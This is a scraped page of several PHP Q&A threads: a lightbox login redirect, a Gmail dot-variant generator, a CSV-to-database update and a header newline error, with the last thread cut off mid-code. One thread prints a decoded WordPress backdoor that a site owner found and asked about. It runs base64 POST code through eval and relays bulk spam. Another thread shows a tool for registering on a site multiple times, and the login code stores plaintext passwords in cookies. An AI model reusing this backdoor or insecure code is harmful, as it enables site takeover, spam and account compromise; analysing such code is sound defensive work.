add target='_top" to php header location - php

I am using some new software that includes a login php setup. Works fine until I decided to open the login page in a lightbox. Now I can't break out of the light box to a normal view browser page for my success destination page. The php code is as follows;
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['form_name']) && $_POST['form_name'] == 'loginform')
{
$success_page = './club_registered_breeders_only.php';
$error_page = './Error_form_failure.html';
$database = './usersdb.php';
$crypt_pass = md5($_POST['password']);
$found = false;
$fullname = '';
$session_timeout = 600;
if(filesize($database) > 0)
{
$items = file($database, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach($items as $line)
{
list($username, $password, $email, $name, $active) = explode('|', trim($line));
if ($username == $_POST['username'] && $active != "0" && $password == $crypt_pass)
{
$found = true;
$fullname = $name;
}
}
}
if($found == false)
{
header('Location: '.$error_page);
exit;
}
else
{
if (session_id() == "")
{
session_start();
}
$_SESSION['username'] = $_POST['username'];
$_SESSION['fullname'] = $fullname;
$_SESSION['expires_by'] = time() + $session_timeout;
$_SESSION['expires_timeout'] = $session_timeout;
$rememberme = isset($_POST['rememberme']) ? true : false;
if ($rememberme)
{
setcookie('username', $_POST['username'], time() + 3600*24*30);
setcookie('password', $_POST['password'], time() + 3600*24*30);
}
header('Location: '.$success_page);
exit;
}
}
$username = isset($_COOKIE['username']) ? $_COOKIE['username'] : '';
$password = isset($_COOKIE['password']) ? $_COOKIE['password'] : '';
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['form_name']) && $_POST['form_name'] == 'forgotpasswordform')
{
$email = isset($_POST['email']) ? addslashes($_POST['email']) : '';
$found = false;
$items = array();
$success_page = '';
$error_page = './Error_form_failure.html';
$database = './usersdb.php';
if (filesize($database) == 0 || empty($email))
{
header('Location: '.$error_page);
exit;
}
else
{
$items = file($database, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach($items as $line)
{
list($username, $password, $emailaddress, $fullname, $active) = explode('|', trim($line));
if ($email == $emailaddress && $active != "0")
{
$found = true;
}
}
}
if ($found == true)
{
$alphanum = array('a','b','c','d','e','f','g','h','i','j','k','m','n','o','p','q','r','s','t','u','v','x','y','z','A','B','C','D','E','F','G','H','I','J','K','M','N','P','Q','R','S','T','U','V','W','X','Y','Z','2','3','4','5','6','7','8','9');
$chars = sizeof($alphanum);
$a = time();
mt_srand($a);
for ($i=0; $i < 6; $i++)
{
$randnum = intval(mt_rand(0,55));
$newpassword .= $alphanum[$randnum];
}
$crypt_pass = md5($newpassword);
$file = fopen($database, 'w');
foreach($items as $line)
{
$values = explode('|', trim($line));
if ($email == $values[2])
{
$values[1] = $crypt_pass;
$line = '';
for ($i=0; $i < count($values); $i++)
{
if ($i != 0)
$line .= '|';
$line .= $values[$i];
}
}
fwrite($file, $line);
fwrite($file, "\r\n");
}
fclose($file);
$mailto = $_POST['email'];
$subject = 'New password';
$message = 'Your new password for Club Login is:';
$message .= $newpassword;
$header = "From: webmaster#whiteshepherdsnz.com"."\r\n";
$header .= "Reply-To: webmaster#whiteshepherdsnz.com"."\r\n";
$header .= "MIME-Version: 1.0"."\r\n";
$header .= "Content-Type: text/plain; charset=utf-8"."\r\n";
$header .= "Content-Transfer-Encoding: 8bit"."\r\n";
$header .= "X-Mailer: PHP v".phpversion();
mail($mailto, $subject, $message, $header);
header('Location: '.$success_page);
}
else
{
header('Location: '.$error_page);
}
exit;
}
?>
Somehow I need to set target="-top" so the success page opens in the same window with normal browser view. Can someone show me how to achieve this please. I have no skills in this stuff just what I pick up from reading these sites and applying to my problem
Thanks
Roger

To keep it short and clear, you will need the # in your url.
header("Location: index.php#top");
That will redirect you to index.php and set the target to #top
Note: Remember that header('Location: ...') should redirect to an url like you would use in your browser. Not the internal server path.

Try with Window-target
header('Window-target: _top');
header('Location: index.php');

Unfortunately WYSIWYG Web Builder only allows the selection of an internal page address and will not allow edit so unable to try that out. However another solution was found using Java script in the head of the destination page:
<script>
this.top.location !== this.location && (this.top.location = this.location);
</script>
this worked perfectly. I will pass your comments on to the WYSIWYG Web Builder Forum.
Thanks

If Your Doing a form way
you can put a target in the form like this.
<form action="" method="" target="_top">
<input type="" name="">
</form>

Related

Allow only mails with #gmail.com ending

This Github repository serves to add a dot (.) to a Gmail address and thus register on a site multiple times with random addresses derived from the original.
The code works fine, but it works with any domain (e.g. #house.com)
And I need to limit it to only work with #gmail.com (I tried this in my HTML) <input type="email" pattern="^[a-zA-Z0-9]+#gmail\.com$">
But I prefer it to be server side, I have no idea how to do it, I am new in PHP.
Thanks in advance.
PHP Code:
<?php
set_time_limit(0);
if(isset($_POST['email']))
{
$mail = explode('#', $_POST['email']);
$email = $mail[0];
$domain = '#'.$mail[1];
$email = ltrim($email);
$domain = ltrim($domain);
$email = rtrim($email);
$domain = rtrim($domain);
$email = stripslashes($email);
$domain = stripslashes($domain);
$email = htmlentities($email);
$domain = htmlentities($domain);
$res = addDOT($email);
echo '<div class="box"><div class="title">Total: '.sizeof($res).'</div><textarea type="text">';
foreach($res as $mcMails)
{
echo nl2br($mcMails.$domain).PHP_EOL;
}
echo '</textarea></div>';
}
function addDOT($str){
if(strlen($str) > 1)
{
$ca = preg_split("//",$str);
array_shift($ca);
array_pop($ca);
$head = array_shift($ca);
$res = addDOT(join('',$ca));
$result = array();
foreach($res as $val)
{
$result[] = $head . $val;
$result[] = $head . '.' .$val;
}
return $result;
}
return array($str);
}
?>
With PHP 8+ you can use str_ends_with().
function isGmail($email) {
return str_ends_with($email, '#gmail.com');
}
Or a prior PHP8+ with a classic regex
function isGmail($email) {
return preg_match("/#gmail.com\$/", $email);
}
or strpos with a negative offset
function isGmail($email) {
$pattern = '#gmail.com';
return (false !== strpos($email, $pattern, -strlen($pattern)));
}
Update
Regarding from your comment I think you want to do something like this:
$email = $_POST['email'] ?? '';
if(!isGmail($email)) {
header('Location: /');
exit();
}
<?php
set_time_limit(0);
if(isset($_POST['email']))
{
if(isGmail($_POST['email'])){
$mail = explode('#', $_POST['email']);
$email = $mail[0];
$domain = '#'.$mail[1];
$email = ltrim($email);
$domain = ltrim($domain);
$email = rtrim($email);
$domain = rtrim($domain);
$email = stripslashes($email);
$domain = stripslashes($domain);
$email = htmlentities($email);
$domain = htmlentities($domain);
$res = addDOT($email);
echo '<div class="box"><div class="title">Total:'.sizeof($res).'</div><textarea type="text">';
foreach($res as $mcMails)
{
echo nl2br($mcMails.$domain).PHP_EOL;
}
echo '</textarea></div>';
}
}
function addDOT($str){
if(strlen($str) > 1)
{
$ca = preg_split("//",$str);
array_shift($ca);
array_pop($ca);
$head = array_shift($ca);
$res = addDOT(join('',$ca));
$result = array();
foreach($res as $val)
{
$result[] = $head . $val;
$result[] = $head . '.' .$val;
}
return $result;
}
return array($str);
}
/**
* Check if an email is a Gmail address
* #param string $email The email address to check
* #return boolean
*/
function isGmail($email) {
$email = trim($email); // in case there's any whitespace
return mb_substr($email, -10) === '#gmail.com';
}
?>
Fixed. I modified the first if of the code by putting a second conditional:
if(isset($_POST['email']) and (substr($_POST['email'], -10) == '#gmail.com'))

PHP Update MySQL from CSV Skip Row on Error

So basically, I have a CSV file that will be uploaded but not stored on the server and PHP will pull data from it and update a database accordingly.
My Issue is that I am trying to skip the row in the CSV if there is already an entry found in the database but it stops on the first error and does not skip.
Line 62, I added a comment which is where I am trying to get this accomplished.
the ELSE statement after the if (($update == 1) && ($update2 == 1)) has a continue in it, meaning if update and update2 do not == 1 then skip, or so I would have thought but it just stops after the first duplicate serial number is found.
Any help is GREATLY appreciated
public function upload() {
$this->data['token'] = $this->session->data['token'];
$connect = mysqli_connect("localhost", "username", "password", "database");
$this->load->model('setting/mail');
if (isset($_POST["upload"])) {
if ($_FILES['update_cases']['name']) {
$filename = explode(".", $_FILES['update_cases']['name']);
if (end($filename) == "csv") {
$handle = fopen($_FILES['update_cases']['tmp_name'], "r");
fgetcsv($handle);
$this->load->model('sale/order');
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
print "row start<br>";
$order_id = mysqli_real_escape_string($connect, $data[0]);
$product_sn = mysqli_real_escape_string($connect, $data[1]);
$customer_email = mysqli_real_escape_string($connect, $data[2]);
$status = mysqli_real_escape_string($connect, $data[13]);
$rma_number = mysqli_real_escape_string($connect, $data[17]);
$rma_type = mysqli_real_escape_string($connect, $data[18]);
$planned_product = mysqli_real_escape_string($connect, $data[19]);
$tur = mysqli_real_escape_string($connect, $data[20]);
$pi = mysqli_real_escape_string($connect, $data[21]);
$cir = mysqli_real_escape_string($connect, $data[22]);
$cmr = mysqli_real_escape_string($connect, $data[23]);
$waive_return = mysqli_real_escape_string($connect, $data[24]);
$replacement_tracking = mysqli_real_escape_string($connect, $data[26]);
$inventory = mysqli_real_escape_string($connect, $data[27]);
$replacement_sn = mysqli_real_escape_string($connect, $data[28]);
$replacement_sn2 = mysqli_real_escape_string($connect, $data[29]);
$qty_shipped = mysqli_real_escape_string($connect, $data[33]);
$date_shipped = mysqli_real_escape_string($connect, $data[35]);
$result1 = $this->model_sale_order->getOrderById($order_id);
$current_status = $result1['order_status'];
$rma_num = $result1['order_rma'];
$customer_id = $result1['cus_id'];
$regpro_id = $result1['regpro_id'];
$update = 0;
$update2 = 0;
$batch_data = array(
"order_id" => $order_id,
"rpl_tracking" => $replacement_tracking,
"qty_shipped" => $qty_shipped,
"replacement_sn" => $replacement_sn,
"replacement_sn2" => $replacement_sn2,
"inventory" => $inventory,
"rma_type" => $rma_type,
"pi_num" => $pi,
"tur_num" => $tur,
"cir_num" => $cir,
"cmr_num" => $cmr,
"waive_return" => $waive_return,
"update_status" => $status,
"date_shipped" => $date_shipped,
"pre_status" => $current_status,
"comment" => $planned_product,
"planned_product" => $planned_product
);
if ($qty_shipped !== 0) {
$this->load->model('catalog/product');
$this->load->model('catalog/regproduct');
// If Two replacement products
if ($qty_shipped == 2) {
//Check if Serial Number Already Exists (If exists, I want the script to skip this row and move onto the next row in the excel sheet)
$check_sn = $this->model_catalog_regproduct->checkSNBelong2($replacement_sn);
$check_sn2 = $this->model_catalog_regproduct->checkSNBelong2($replacement_sn2);
if ($check_sn) {
$update = 0;
$this->error['error_replacement_sn'] = "SN " . $replacement_sn . " in use!";
} else {
$update = 1;
}
if ($check_sn2) {
$update2 = 0;
$this->error['error_replacement_sn2'] = "SN " . $replacement_sn2 . " in use!";
} else {
$update2 = 1;
}
if (($update == 1) && ($update2 == 1)) {
$replacement_product = $this->model_catalog_product->getProductBySN($replacement_sn);
$replacement_product2 = $this->model_catalog_product->getProductBySN($replacement_sn2);
$defective_product_warranty = $this->model_catalog_regproduct->getRegproductById($customer_id, $regpro_id);
$warr_date = $defective_product_warranty['regpro_warr_date'];
$replacement_model = $replacement_product['m_type'];
$replacement_model2 = $replacement_product2['m_type'];
$replacement_family = $replacement_product['f_type'];
$replacement_family2 = $replacement_product2['f_type'];
$this->model_catalog_regproduct->addRegproductReplacement2($customer_id, $replacement_sn2, $replacement_family2, $replacement_model2, $warr_date);
$this->model_catalog_regproduct->addRegproductReplacement($customer_id, $replacement_sn, $replacement_family, $replacement_model, $warr_date);
$this->model_sale_order->confirmOrder3($this->user->getId(), $batch_data);
if (((int)$current_status) !== ((int)$status)) {
if ((int)$status == 210) {
if ($rma_type != "Standard") {
$template = $this->model_setting_mail->getTemplateByLabel('RMA_PRODUCT_RECEIVED_ADVANCED');
} elseif ($rma_type == "Standard") {
$template = $this->model_setting_mail->getTemplateByLabel('RMA_PRODUCT_RECEIVED_STANDARD');
}
} elseif ((int)$status == 230) {
if ($rma_type != "Standard") {
$template = $this->model_setting_mail->getTemplateByLabel('RMA_REPLACEMENT_PRODUCT_SHIPPED_ADVANCED');
} elseif ($rma_type == "Standard") {
$template = $this->model_setting_mail->getTemplateByLabel('RMA_REPLACEMENT_PRODUCT_SHIPPED_STANDARD');
}
} elseif ((int)$status == 500) {
$template = $this->model_setting_mail->getTemplateByLabel('RMA_CLOSED');
}
if ((int)$template['email_status'] == 1) {
$subject = $template['email_subject'];
$message = $template['email_content'];
// Get Customer Email
$this->load->model('sale/customer');
$order_info = $this->model_sale_customer->getCustomerByEmail($customer_email);
$customer_info = $this->model_sale_customer->getCustomer($order_info['cus_id']);
$email = $customer_info['cus_username'];
$this->load->model('sale/order');
$result_tracking = $this->model_sale_order->getOrderById($order_id);
$replacement_tracking = $result_tracking['order_return_tracking_num'];
$message = str_replace('%FIRSTNAME%', $customer_info['cus_firstname'], $message);
$message = str_replace('%LASTNAME%', $customer_info['cus_lastname'], $message);
$message = str_replace('%RMA%', $rma_num, $message);
$message = str_replace('%TRACKING%', $replacement_tracking, $message);
$mail = new Mail();
$mail->protocol = $this->config->get('mail_protocol');
$mail->hostname = $this->config->get('smtp_host');
$mail->username = $this->config->get('smtp_username');
$mail->password = $this->config->get('smtp_password');
$mail->port = $this->config->get('smtp_port');
$mail->timeout = $this->config->get('smtp_timeout');
$mail->setTo($email);
$mail->setFrom($this->config->get('sender_email'));
$mail->setSender($this->config->get('sender_name'));
$mail->setSubject(html_entity_decode($subject, ENT_QUOTES, 'UTF-8'));
$mail->setText(html_entity_decode($message, ENT_QUOTES, 'UTF-8'));
try {
$mail->send();
}
catch(Exception $e) {
$this->error['warning'] = $e->getMessage();
}
}
}
$this->session->data['success'] = $this->language->get('text_success');
//$this->redirect($this->url->link('report/sale_return', 'token=' . $this->data['token'], 'SSL'));
} else {
print $update."<br>";
print $update2."<br>";
print "Errors<br>";
continue;
}
//row start
//0
//0
//Errors
//row start
//0
//0
//Errors
//row start
//row end
//row start
//row end
//row start
//row end
} else if ($qty_shipped == 1) {
// will do something else
} else if ($qty_shipped == 0) {
// will also do something else
}
} else if (!isset($qty_shipped)) {
// will also do something else
}
print "row end<br>";
}
}
}
}
}
If you want to show all errors, you should use an array, and append the error text to that array. Then use foreach loop on client part to display all errors.
If you use a single variable it will always be what you set it to most recently. For multiple data, you should use an array, or append to string like this: $string .= "appended string"; but for this case I recommend using arrays.

PHP - Need help to understand injected code

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the decoded string. This is the code the decoder outputs, any help in understanding what it does would be great!
<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}
if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{
}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}
error_404();
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}
if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}
$emails = #unserialize(base64_decode($_POST["emails"]));
$themes = #unserialize(base64_decode($_POST["themes"]));
$messages = #unserialize(base64_decode($_POST["messages"]));
$froms = #unserialize(base64_decode($_POST["froms"]));
$mailers = #unserialize(base64_decode($_POST["mailers"]));
$aliases = #unserialize(base64_decode($_POST["aliases"]));
$passes = #unserialize(base64_decode($_POST["passes"]));
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
if(empty($emails))
{
exit();
}
foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);
$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}
$mailer = $mailers[array_rand($mailers)];
send_mail($from, $email, $theme, $message, $mailer);
}
}
function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";
$un = strtoupper(uniqid(time()));
$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";
$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";
if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}
if(#mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',#$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("#", $content);
$content = $tokens[0] . "#" . $host . ">";
return $content;
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );
$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );
exit( $content );
}
function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}
if( $params['url']=='' ) return FALSE;
if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;
/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";
$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );
$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';
$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = #fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";
$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";
if( $params['method'] == 'POST' ) $request .= $data;
#fwrite ($fp,$request); /* Send request */
$res = ""; $headers = ""; $h_detected = false;
while( !#feof($fp) )
{
$res .= #fread($fp, 1024); /* читаем контент */
/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;
$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);
/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return #is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}
#fclose($fp);
}
else return FALSE;/* $errstr.$errno; */
if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);
return $res;
}
Edit: Apparently, I am doing something wrong with my question (2 instant downvotes). If you could tell me what I am doing wrong, I will try to correct it/remove my question.
This is a fun one, while I haven't a lot of time right now to look over the code I can give you some generalizations of common injections and attacks on websites, in particular a CMS like WordPress. Although this as a part of a plugin, may just be a malicious plugin and not an injection attack, or it may be a flaw or exploit in the plugin being used.
Initial observation, the code comments in Russian stand out.
This code looks like it might be for a spam relay. Taking messages and trying to leverage whatever sendmail you have setup. That's just a high level guess right now.
Most attacks but not necessarily this one are generally geared and trying to deliver malware to visitors to the site, they usually use active-x or iframe tricks, I didn't see any of that here so it leads me to believe that #2 is more likely.
This may also be trying to index all the content of your site/server that it can, and then send it out to the attacker so that they can sift the data looking for important information like config files and passwords.
I will do a deeper dive into this code when i'm not at work :) because I love this stuff. In the meantime you'll probably get a better response from the security stack pages than stack overflow or like I mentioned in my comment, check with the the hackers of http://hackthissite.org on this one. If this was an exploit, they might even be able to track down the author and the specific exploit. Generally code like this is used as part of a more generic tool that probes and attacks, a bot and is not the work of an actual person. You should also possibly share the name of the plugin, as it may be malicious or a known exploit may be published.
Either way, you need to perform a deep security screening on the site in question, and assume that you've been hacked, and take all the proper steps accordingly.
-- Edit --
This code block is interesting:
function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
One of those IP's resolve to Fort Huachuca Dod Network Information Center. I'm probably going to delete this answer now... (turns out this may not be an IP but a version number.. my paranoia got the best of me) - you should probably post this question here instead: https://security.stackexchange.com/ to avoid more downvotes.

How to fix Header new line error

I am receiving the following error message "Header may not contain more than a single header, new line detected" I know it says that a new line has been detected, but I cannot figure where this line is coming from. I have tried to trim the variables..I have re-written the header line in different ways, without any result. I added the getallheaders function to see what was being passed, but I see no new line or any extra characters in the output $headers. Even using ob_start() does not help.
<?php
ob_start();
include "catalog.obj";
session_start();
$catalogObj = $_SESSION['catalogObj'];
if (isset($_POST['st']))
$st = $_POST['st'];
else
$st = '0';
if (isset($_POST['num']))
$num = $_POST['num'];
else
$num = '0';
if (isset($_POST['type']))
$type = $_POST['type'];
else
$type = '0';
if (isset($_POST['rec']))
$rec = $_POST['rec'];
else
$rec = '0';
if (isset($_POST['option']))
$option = $_POST['option'];
else
$option = '0';
if(strcmp($_POST['submit'],"Reset Form") == 0)
{
header("location: search_catalog.php?type=$type&firstTime=1");
exit;
}
elseif(strcmp($_POST['submit'],"Catalog Administration") == 0)
{
Header("Location: administration.php");
exit;
}
else
{
$inventory_id_num = $_POST['inventory_id_num'];
$inventory_desc = $_POST['inventory_desc'];
$inventory_revision = $_POST['inventory_revision'];
$quantity = $_POST['quantity'];
$catalog_status_id = $_POST['catalog_status_id'];
$order_form_type_id = $_POST['order_form_type_id'];
$catalogObj->inventory_id_num = $inventory_id_num;
$catalogObj->inventory_desc = $inventory_desc;
$catalogObj->inventory_revision = $inventory_revision;
$catalogObj->quantity = $quantity;
$catalogObj->catalog_status_id = $catalog_status_id;
//$catalogObj->order_form_type_id = array();
$catalogObj->order_form_type_id = $order_form_type_id;
$count=count($order_form_type_id);
for ($i=0; $i<$count; $i++)
{
//print "order_form_type_id: $order_form_type_id[$i]<br>";
if(strlen($order_form_type_id[$i]) > 0)
{
$catalogObj->order_form_type_id[$i] = $order_form_type_id[$i];
}
}
if(strcmp($_POST['submit'],"Back to Order Form") == 0)
{
Header("Location: order_form.php?num=$num");
exit;
}
else
{
//$url = "type=".$type."option=".$option."rec=".$rec."st=".$st."num=".$num;
Header("location: search_catalog_handler.php?type=$type&option=$option&rec=$rec&st=$st&num=$num");
//Header("location: search_catalog_handler.php?" . rawurlencode($url));
if (function_exists('getallheaders'))
{
$headers = getallheaders();
print_r( $headers);
}
exit;
}
}
function getallheaders()
{
$headers = '';
foreach ($_SERVER as $name => $value)
{
if (substr($name, 0, 5) == 'HTTP_')
{
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
?>
First, thanks for the pointers! The problem in the above code was with the $st variable. I am not very experienced with headers and rewriting them but I had add the following conditinal statement:
if (!empty($_POST['st']))
{
$st = $_POST['st'];
$num = $_POST['num'];
$type = $_POST['type'];
$rec = $_POST['rec'];
$option = $_POST['option'];
}
To the beginning of my code, so it the complete code is:
<?php
ob_start();
/*************************************
altered complete 12/20/2013
rjm
*************************************/
include "catalog.obj";
session_start();
$catalogObj = $_SESSION['catalogObj'];
if (!empty($_POST['st']))
{
$st = $_POST['st'];
$num = $_POST['num'];
$type = $_POST['type'];
$rec = $_POST['rec'];
$option = $_POST['option'];
}
if(strcmp($_POST['submit'],"Reset Form") == 0)
{
header("location: search_catalog.php?type=$type&firstTime=1");
exit;
}
elseif(strcmp($_POST['submit'],"Catalog Administration") == 0)
{
Header("Location: administration.php");
exit;
}
else
{
